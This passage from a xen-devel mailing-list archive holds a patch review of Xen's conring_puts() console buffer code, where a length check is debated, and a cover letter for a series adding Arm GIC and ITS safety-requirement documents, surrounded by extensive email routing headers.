	T0eGF/2GmKVruOhzWCLIl29JLRcmt8Vqa0jFSBb6mBo5lN1EjiscAo7NhJJI7qUYgBlgoyF/cI2VbSYZMrIIkGsJixsDfBX2nL7huamCD3n8ZinoYAfmA2aUgcqQi1MqqvYX3C0ujz8dRU81UTBWXpQCfOi+M8loMQFhKIQ5yqF49LQKpouqAl4GJzoJZYlNZ+47QJsUdR5tVLCD2/12Yro+0AlmGbbrLUViRfZwe7ntWy+EhRA+IDXxiekRbXwW6RuEMTtEUSMBPKwiLUe1/JB8TipISCDhpOE+dQZPGQPhmMq3AfLVm/4sbiTRm/XVCnnQBYsyAyKiqy6Lt2uZR19ZBAmmSW0frMpw3E2KJf/kTVQrkDvbSVTxS+KHnvs3L2QxugcRiOKYYA9q1+UM7znKTGCGIo6yjVpG6UavGXDknkJC8w7T7t8bTaLQZ+lSAp2JJ3HgrCD5BHEHoGAJ+y0DYqV9kYdp/aBHUwoB51eoXzEORstgF77HEh2hVGpNggA0Ohx1pqCgJzL3hofKXUdIgOHOf/6ZUaGDd4vSbZ8DzJAMeWkAdVGQz2D7f4qeZ7WwYn1OjNxQPhB9lIfWxZPMjY5PY6r/HvQsLL8ly2qHg/fTbYvaKtmplTz0BVmhsLLYOmmflpB/5hYRjdpveg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 06:18:15.7631
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: dc8574ca-fb71-4a4f-feae-08dee3cb3029
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000FCC0.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM6PR16MB3862
X-Authority-Analysis: v=2.4 cv=JPYLdcKb c=1 sm=1 tr=0 ts=6a59c92e cx=c_pps
 a=2InGsGVdz7DAox/zTLSmPw==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=vnUQfov-gS4s1L7hHvr-:22
 a=cbNQJ9GKAAAA:8 a=-g9LuZ6nVvH6MlV1zgMA:9 a=CjuIK1q_8ugA:10
 a=P0bj-C3X3jJDpopQwM1U:22
X-Proofpoint-ORIG-GUID: T5dbgBKbf43F2mqXp1iGBWC94XYVypU_
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE3MDA2MSBTYWx0ZWRfX1J2rSZ0IaSwL
 4IVN1ll3G/PhWXNoJJPODjh02NvoRTCegfTGw16Qk9YRAo3JiKTZlYM8uZazKsbgn5xFiLJwVy5
 oPT42ggTUXWq91+nWNSAC5H4dsm4kg8ETkBcGtUYaQvt7QiJXaLL6x5j27aIl9LHwVwur1TCUvq
 tbuVg83nfzt+CymNmL3lrmRgtnBdZiTEjWCOCDVoSdIWjzTqUMDRvXKDmnC5k09ftstfVjVtHec
 FLKzYBI0P/jMaf5Bch0AC/jn1wpQ7TQ061tCANOv6DTJOI5Dbj2V/HYMqmQAeJkGbHk5IWTMUbX
 X+jcofyoxu4aqdBZYle0dYRt3qSmduNjPSHUQJaXAW7HzYRLpNEAUNTq9UnlEyp8Nb3YF3BoKfc
 QErETyDRs9rgo/LqI/9lKywc3bJHI7ppkUUgidr/Csk3/nBDEEGHBsSeO3kHvgDJJVCKUXlvx5A
 B/iYc1m5zOAnVV5Garw==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE3MDA2MSBTYWx0ZWRfX4toIsrB0rJb+
 rFw0aGvSbEH3xVlgXN4Bzs2/rFbIZnq0T2kCc7kYoPqijJwduJAVHrIyQ84vx15WoNbBqjqEYxt
 fgd0XoR08eEVtjJCE0OKzz3Tk1DrEHHtVxwpqYkf8ljx7JQoIdWe
X-Proofpoint-GUID: T5dbgBKbf43F2mqXp1iGBWC94XYVypU_
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_01,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 priorityscore=1501 phishscore=0 clxscore=1015 suspectscore=0 bulkscore=0
 adultscore=0 malwarescore=0 lowpriorityscore=0 impostorscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607170061
X-purgate-ID: tlsNG-4011c0/1784269109-51AC4CFC-C7E38F78/0/0
X-purgate-type: clean
X-purgate-size: 1078

On Thu, Jul 16, 2026 at 06:08:01PM +0200, Jan Beulich wrote:
> On 13.07.2026 20:16, dmukhin@ford.com wrote:
> > --- a/xen/drivers/char/console.c
> > +++ b/xen/drivers/char/console.c
> > @@ -360,12 +360,22 @@ static DECLARE_SOFTIRQ_TASKLET(conring_tasklet, conring_notify, NULL);
> >  /* NB: Do not send conring VIRQs during panic. */
> >  static bool conring_no_notify;
> >  
> > -static void conring_puts(const char *str, size_t len)
> > +static void conring_puts(const char *str, unsigned int len)
> >  {
> > +    unsigned int src = likely(len < conring_size) ? 0 : len - conring_size;
> 
> Isn't the attempt to handle strings longer than conring_size pretty much in
> vain? Things look correct as far as the rest of the logic in the function
> goes, but is this useful? It certainly warrants at least a brief comment imo.

Thanks for taking a look!

I don't think there ever will callers of conring_puts() with strings longer
than conring_size... and I could not decide whether to keep the extra check
or not.

Will update the code with a commentary.


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 06:35:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 06:35:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364668.1615685 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcAL-0008TK-V4; Fri, 17 Jul 2026 06:35:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364668.1615685; Fri, 17 Jul 2026 06:35:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcAL-0008TD-QZ; Fri, 17 Jul 2026 06:35:21 +0000
Received: by outflank-mailman (input) for mailman id 1364668;
 Fri, 17 Jul 2026 06:35:20 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkcAK-0008T7-4O
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 06:35:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcAJ-00A1X1-1Q
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 08:35:19 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a59cd23-e002-0a2a0a5209dd-0a2a45039fde-10
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 08:35:18 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a59cd26-fae8-0a2a45030019-d155dd30b4bb-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 08:35:18 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-476d8e647e9so6820184f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 23:35:18 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63eeece9sm1087742f8f.37.2026.07.16.23.35.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 23:35:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784270118; x=1784874918; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=i64y5Ylws3MCEM9Vm4wVilaHLyqkjcjnhA3fxTdiclM=;
        b=JMtfpMxk8/6kKTGiFS8y4NzDu2CgjWIm4jhoVQY7KyL1PRIySHlI0rzMo3TZNl5eo0
         rPmkrMTpIn7eVABuX1tM7PtNReOOroXlLQF41m2iqYc2jz8+1xwS3SzdDXnKrEWZGRZ0
         cJZjPBrjuMvORGnnSuKpr/0WKMamMoDwlMrOL4BTem8tYTzfR77sgG6pKAv/E6rEobPP
         pwvePuEyb+oraP96wcp81A0tK0nO+BVp//NRgxCaeOKtj314mVcQl+lA+nhN0pQKShq5
         YqTO6XffBhefLRwwdCMlykzu4xbw2YM9qYh7ATMWZijG9n9sS2Iz5z/tuE2bXsxgc3fI
         YOhQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784270118; x=1784874918;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=i64y5Ylws3MCEM9Vm4wVilaHLyqkjcjnhA3fxTdiclM=;
        b=LeIgjkXpyooR+wBm9gma9b37K01u6xkfq2VpvPO9Wzxj9VL1jJon0rEQIrEnyNev2v
         AwKc39VXh+m7VnlELoNfftT57hyUZa733WNKsWilPTkWiamDhDylMXGwzO7YSWeJLYcY
         tZXI6TNVtyf6gyU0oCt/6IJIit6f+saPOcE1C494b2bp/vjU9Q3T58LSyxDN9pWP8CP0
         F9hVc/MjoM/PyJFXg8zAkDfuBM9vBE/oRx1IsiwRn0hbdwuqndXKoqJuA26+yZhWlhbq
         KiqOMUPxoFAf4dtJERZVkAuitsFJ3QzY1dURJB6TzS1iuBu+61UZ2/uLotq/TkbNYQ5D
         96Ew==
X-Forwarded-Encrypted: i=1; AHgh+RpFww88KI1Y4kylAYJVkGACQ41w9QJnwBKJqIWXU298flOdKHXe1pFbWNqux9rH/EpWavcs0XUoTjM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Ywo/hKMNCVHSdqBHkK3KeD6fs7ZfgCLKQPhM2vfqPg6awP0xdkL
	nLroGew0E80XRxsn5krZnfuSlVzOH/Ef71fhOIrKe7qX8fgTMW/d0ZNP99s5PHVsHg==
X-Gm-Gg: AfdE7cnRIstNGi23ORPsPwn7AReiRMbeaVwNC/GjSEPgO06MyvxwKOO9sC3clmnmpla
	Ef/sRjXK623hBj+ZekZgFK1ryTIvBSYeYPi1lhFO5o7ZzCWaASQWhUjT5UVOsJZYpNhh9vYTejI
	xk9c1oWie0C1pJ19h/KuTQ97OYvfrDRBnYaD9iOmT0rN9VsgwrFR7gYShbSXcckPh71ggG61Ni5
	sMYwgtIwApfd2/116f9JnTjgDCh/S89WBh0fF51fCH5htSW2hK2Ts8jUUVNSvWxzsn7yoqy02Rj
	J8AeBBKl+4Sl2QFR82IITeOnpgEEii/hleztBHoE0b4DVVLRfuZDveSJMYEkNXwtcamU03+dcjw
	wArjDtlS90yBpDOaFTWbp66EBZYCBluwQvp4oK8xRTXSMh1DhG0vN2f5o/jfpIQdM/2UZKfDjaJ
	CEFTRK48nckvzH9g3uobizb4oAwUis28WohMJDnc0EetYmOiOkLYQWFRQGCYrOBVRb0A==
X-Received: by 2002:a05:6000:4201:b0:472:ec66:274a with SMTP id ffacd0b85a97d-47f6230649cmr1677474f8f.7.1784270118205;
        Thu, 16 Jul 2026 23:35:18 -0700 (PDT)
Message-ID: <0381fa54-8f7a-403c-99d7-59497f5e9850@suse.com>
Date: Fri, 17 Jul 2026 08:35:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 3/7] xen/console: use memcpy() in conring_puts()
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-4-dmukhin@ford.com>
 <40223b4b-4cf4-4cd2-8085-5323784b2d33@suse.com> <alnJI+8Whp3ES3Hz@kraken>
Content-Language: en-US
From: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Q8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <alnJI+8Whp3ES3Hz@kraken>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784270118-6CADC4E9-F7CE7232/0/0
X-purgate-type: clean
X-purgate-size: 1338

On 17.07.2026 08:18, dmukhin@ford.com wrote:
> On Thu, Jul 16, 2026 at 06:08:01PM +0200, Jan Beulich wrote:
>> On 13.07.2026 20:16, dmukhin@ford.com wrote:
>>> --- a/xen/drivers/char/console.c
>>> +++ b/xen/drivers/char/console.c
>>> @@ -360,12 +360,22 @@ static DECLARE_SOFTIRQ_TASKLET(conring_tasklet, conring_notify, NULL);
>>>  /* NB: Do not send conring VIRQs during panic. */
>>>  static bool conring_no_notify;
>>>  
>>> -static void conring_puts(const char *str, size_t len)
>>> +static void conring_puts(const char *str, unsigned int len)
>>>  {
>>> +    unsigned int src = likely(len < conring_size) ? 0 : len - conring_size;
>>
>> Isn't the attempt to handle strings longer than conring_size pretty much in
>> vain? Things look correct as far as the rest of the logic in the function
>> goes, but is this useful? It certainly warrants at least a brief comment imo.
> 
> Thanks for taking a look!
> 
> I don't think there ever will callers of conring_puts() with strings longer
> than conring_size... and I could not decide whether to keep the extra check
> or not.

Having though about this a little more over night, I actually wonder whether
e.g. len > PAGE_SIZE wouldn't already be indicative of an error. And which
hence may instead want flagging by a BUG_ON(). REST maintainers, thoughts?

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364686.1615693 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcji-0005L1-Ht; Fri, 17 Jul 2026 07:11:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364686.1615693; Fri, 17 Jul 2026 07:11:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcji-0005Ku-EB; Fri, 17 Jul 2026 07:11:54 +0000
Received: by outflank-mailman (input) for mailman id 1364686;
 Fri, 17 Jul 2026 07:11:52 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wkcjg-0005Ko-GY
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:11:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcjf-0083ci-MI
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:11:51 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5b2-2eae-0a2a0a5409dd-0a2a450ab5f8-18
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:11:51 +0200
Received: from [52.101.70.136]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5b7-f2d2-0a2a450a0019-346546882cc0-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:11:51 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7985.eurprd03.prod.outlook.com (2603:10a6:20b:428::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 07:11:50 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 07:11:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=LPkGhq7ccghLZUB68pVz67BS0Ml7LT5DzDFw9njTGqq/mH7e4s8k0rzCG9u/sGGvhAeq2ndz9V9f4sgzJXoMi2zKVBbJiB+MZZwFAejOoF8ZUDPgbDl84UJUYDyUAwE1MHNluB8KK+F/DJ0vFuHGeYyUmVeeI++fN/ASslrq16RNwNhxrP8pjprSmrXIWvehGU2uUpHXmyYZhxhaAO8ljXtu4NcxK4a7jRbNBuFZZRBCWqvgdRcyP/qhLYorR61sbtkoHxWmEdclv6FIJzlOlnehwVIz3vTPUM2KWI3kifLciPj0Ewk47Y5DimSJQ9jdEi2EQkBAREBiDAz6tOEU1g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=HLbehy9U2/IQ+lIXOREgc8JLuPhOZg9FYNjAJwc9rGU=;
 b=DtYX0FddwHN5uR/1OlnxQe6BM/2yeqI1fGEE7ZuYbdrUrSk+CDveF3GqbM37urq6iboxviVlTNUZErXnHYsKhnCApqtmTQXFzqWufM/jZzRkQ+LZznZxchQxDXCM3TjCsoZFOMoS8qzTIJ9dI00pOhYC4J0hvQ6UePnASow9Xgnr73r+fBABFbvfBdlYNxbqfwgVZt0KCjwjSQYAYtuIUm7IOiNnavXeVD2xGkdeNYVoxjBFrvO4WpC4xhkTuSOmFKttNEEfHCjB9s5L/GEjydp4LVPtX8nE5+gfGWXvWZ1ZKidpELRfSzT4cTvK443U3sjOsDFQ9HV8QTEbbGATsQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=HLbehy9U2/IQ+lIXOREgc8JLuPhOZg9FYNjAJwc9rGU=;
 b=LpGOPi7lAFygfUqeJ2xaq7277eDugquEw9sleeaQBvl7BJmYRibNmKBVHpIwvHVXmdU1frymk6pn9Kmc6CtJe2IA1TVIxyvcN5y0hM+qTrKEM3PiwbGT85sD5UMEQrfqzuO70dT8iCUoFqbLzGRYOdj3INA73KNq/PyalvnDA1PyJZstC2sRbAlGHyKE9Dmhi9yeUBSSUhCzi68/pI0RNAdX/zpfnjat1iquGC24bxhPALPPc5fDH5bD5h+ezRUfpRcfXcxvqiWbWlZP+UNjeGhTXOr67qGCH1TaFQ41XAPEqr0kK9WG0qSiGBg3Q6ekTRZcy5HNxwNWc/cTd04YGw==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Subject: [REQUIREMENTS][PATCH v2 0/6] reqs: add Arm GIC requirements
Date: Fri, 17 Jul 2026 10:11:21 +0300
Message-ID: <cover.1784272211.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0022.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::22) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7985:EE_
X-MS-Office365-Filtering-Correlation-Id: ca1fa0b0-d82f-4216-9b65-08dee3d2aacc
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|18002099003|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	NGmPmKOxfPdJvg9N8h+7KPQiO6jJ1FPSj4+IxNSCo9FCv9XyGvXG7ndFsJMAanYM+uWXwH/ttxXKsV0zsG/shnnkcnT01nuJ2Ds+ymA/Vtww0emizD9H4PfHT+kItsCRXO0BI/Q5UK4D3MxR26La5fW89u2nUklzvlDQ6gjUL0bHR5FrUDLs6v6tCoiEWBsdDhlzrYCWYmAz2l/yebfiYPW9rMwMjWnZ3BV1kUUT5NnI8f7aZwF/IsPF4DYLALmZo9P9Xeh+xI5GkwJFkC60HACty++QcdnJ/mNsa38QFPigxEEAZbLPgfOxmYsORdPoHOaManoo4xGhLriAA3zWo1w3NaYr++JLqN6cOZV45vkA7N3kb12PJ3uY2Q+0qD9rO1X2ns7jfGFPfNq8wx1hpDq1cLZcJJsPFDxOEeEtByXPLVSltUfLdLfQuR+usrbtWlWOIGX4SdY3UbzcqqsYBQ9idgmzB39yAB6VMtrRh9CDRrlyau6JNhzBwazqCkf7UmJtTJ/iJSVr7EHLwcvPMmg+dqu0x/nLDUB6IqdEntsfumpeY0DgDVtZXosTbz1KcREUAp0MRhw4dS+nyzs/jy296jauQgTD5KN8nFPJhxyTc6Kr13jtK3ua/o1NKf7e4oJ99U6eWr2lJME21XDe5rDAaT/jsD9RUKn/T8yVnhw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(18002099003)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?axglwFHCQ3B3UYYEc1FXJgjoY/3VG8NI5N+7G2TrU4tGVJsgoF6pxOSJ1K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g: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ca1fa0b0-d82f-4216-9b65-08dee3d2aacc
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:11:48.4737
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: NOyQhtIjL0v3NQI39WbY3ooEh6lnrZ6jezhYCdtEqwv79+embMIjNKRrrNyFcHG8diHFNyre7rHmduERw4Qs0w==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7985
X-purgate-ID: tlsNG-4011c0/1784272311-587CACFC-20A92C6D/0/0
X-purgate-type: clean
X-purgate-size: 2641

This series updates the existing interrupt-management and guest GICv3
requirement groups and adds missing requirement documents for host GICv3,
host ITS/LPI, guest vITS, host GICv4 direct delivery and vGIC direct
delivery.

The interrupt-management change keeps Device Tree primary interrupt-controller
discovery in the common interrupt-management layer.

The guest GICv3 changes keep the document focused on the guest-visible vGICv3,
move register-list scope into SSR descriptions, and document Xen's limited
virtual GICv3 pending-state and active-state MMIO observation model.

The new host GICv3 requirements cover Device Tree based physical GICv3
initialization and interrupt handling. The new host ITS/LPI requirements cover
physical ITS discovery, command handling and LPI state. The new vITS
requirements cover the guest-visible virtual ITS command model.

The GICv4 requirements treat direct delivery as a backend-specific mechanism
used by Xen's virtual interrupt delivery model. Host GICv4 requirements cover
vPE, doorbell and direct-vLPI backend state. vGIC direct-delivery requirements
cover guest-visible direct SGI capability, request control and direct-vSGI
state handling.

Mykola Kvach (6):
  reqs: clarify guest GICv3 virtual register model
  reqs: add host GICv3 requirements
  reqs: drop duplicate GIC version AoU
  reqs: add host ITS/LPI requirements
  reqs: add guest vITS requirements
  reqs: add GICv4 direct-delivery requirements

 .../arm64/gicv3.rst                           |  46 +-
 .../arm64/index.rst                           |   2 +
 .../arm64/its.rst                             | 382 ++++++++++++
 .../arm64/vgic_direct_delivery.rst            | 166 ++++++
 .../physical_resources/arm64/gicv3.rst        | 564 ++++++++++++++++++
 .../physical_resources/arm64/gicv4.rst        | 515 ++++++++++++++++
 .../physical_resources/arm64/index.rst        |   3 +
 .../physical_resources/arm64/its.rst          | 519 ++++++++++++++++
 8 files changed, 2175 insertions(+), 22 deletions(-)
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/its.rst
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/vgic_direct_delivery.rst
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv3.rst
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv4.rst
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/its.rst

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
